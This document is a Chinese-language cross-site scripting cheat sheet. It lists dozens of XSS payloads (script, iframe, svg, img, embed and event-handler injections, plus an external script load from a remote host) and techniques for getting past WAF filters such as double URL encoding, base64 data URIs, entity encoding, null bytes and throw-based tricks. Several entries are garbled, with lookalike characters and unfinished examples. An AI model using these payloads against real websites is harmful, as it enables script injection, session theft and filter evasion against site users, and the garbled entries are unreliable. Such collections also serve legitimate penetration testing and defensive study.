一:正常构造方式:
1、无过滤,直接写:
2、正常截断:
"> < script>alert(1)< /script>
'> < script>alert(1)< /script>
3、不用<>尖括号:
" οnmοuseοver=alert(1) 空格
’ οnmοuseοver=alert(1) 空格
’ οnclick=alert(1) 空格
" οnfοcus=alert(1) autofocus="
4、内联框架注入:
">< iframe src=javascript:alert(1)>
5、超链接注入:
"> < a href=“javascript:alert(1)”>漏洞
6、alert(1)中的小括号:可用反单引号替代:`;也可以用/
7、当()与反单引号被过滤时,可使用如下:
- < iframe srcdoc=“< script>parent.alert(1)< /script>”
- < svg>< script>alert(1)< /script>
8、存在注释符的话,可用或<!-- --!>绕过
9、str_replace()函数是区分大小写的
10、黑名单的时候可以使用URL编码等进行编码的方式:
javascript:alert(1)、javascript:alert’1’
11、可利用注释符(//)与换行/回车(%0a/%0d)绕过各种规定方式(比如必须添加某些参数或者无法输入空格等)
12、外链xss脚本:
< SCRIPT SRC=http://3w.org/XSS/xss.js>< /SCRIPT>
13、IMG标签型:
<IMG SRC=javascript:alert(‘XSS’)>
< IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMGSRC=java(16进制编码)XSS')>
14、嵌入式标签:
< IMG SRC=“javascript:alert(‘XSS’);”>
< IMG SRC=“javascript:alert(‘XSS’);”>(嵌入式编码标签)
< IMG SRC=“javascript:alert(‘XSS’);”>(嵌入式换行符)(嵌入式回车)
15、双开括号:
<< SCRIPT>alert(“XSS”);//<< /SCRIPT>
16、BODY图片:
< BODY BACKGROUND=“javascript:alert(‘XSS’)”>
17、IMG Dynsrc:
< IMG DYNSRC=“javascript:alert(‘XSS’)”>
IMG Lowsrc:
< IMG LOWSRC=“javascript:alert(‘XSS’)”>
18、DIV background-image:
> < DIV STYLE=“background-image:url(javascript:alert(‘XSS’))”>
19、javascript链接:
< A HREF=“javascript:document.location=‘http://www.google.com/’”>XSS< /A>
20、embed:
< embed src=“javascript:alert(1)”>
21、video:
< video οnerrοr=“alert(1)”>
22、在JavaScript中可以进行Unicode转义、十六进制和八进制转义。此外,字符串中的多余转义字符串将被忽略。
< script>a \u006cert(1) ;< /script>
< script>eval(‘ a\u006cert(1) ’);< /script>
< script>eval(‘ a\x6cert(1) ’);< /script>
< script>eval(‘ a\154ert(1) ’);< /script>
< script>eval(‘ a\1\ert(1) ’);< /script>
二:绕过方式
1、双url编码
把% url编码成 %25 ,如果后台对参数有再次进行url decode 或者输出的时候有 url decode 就可以绕过WAF。
2、base64编码
WAF不拦截 <> ,但拦截 script onXXXX , 用base64 绕过。
< iframe src=“data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+”>
3、HTML实体编码绕过
(1)解释:实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的。
payload:
< a href=‘javascript:alert(‘123’)’>hello< /a>
< a href=“javascript:alert(‘123’)”>hello< /a>
(2)其实在标签里的伪协议js代码,是可以不用用双引号引起来的。
加上eval函数后(eval认识 \x十六进制 八进制 \u unicode编码)
< a href=“javascript:eval(‘&#;\u0091\x65\x72\x74\x28\x22\x31\x22\x29’)”>hello< /a>
(3)如果页面直接显示输入内容,可以先html 编码,再url 编码。
< svg οnlοad=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
4、过滤 /script
<%2fscript>
<%252fscript>
<%252fScRipt>
<%252fScrIPt%20>
<%252fsCrIpt+ipT%20>
5、过滤括号
当括号被过滤的时候可以使用throw来绕过:
<a οnmοuseοver="javascript:window.οnerrοr=alert;throw 1>
< img src=x οnerrοr=“javascript:window.οnerrοr=alert;throw 1”>
6、利用0字节绕过
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
7、先拆分再组合
< script>var a=‘h’;var b=‘:\ /\ /’;document.write(‘
8、利用ascii编码绕过
< img/ /\μ src=x οnerrοr=alert(1)//>
< img src=\x17\x17 οnerrοr=alert(1)//>
<img/%20src=%17y%17 οnerrοr=%C2%A0alert(1)//>
9、过滤括号和分号
你可以使用花括号来进行语句隔离,将onerror整体放入花括号中。这样就避免了使用分号:
< script>{οnerrοr=alert}throw 1337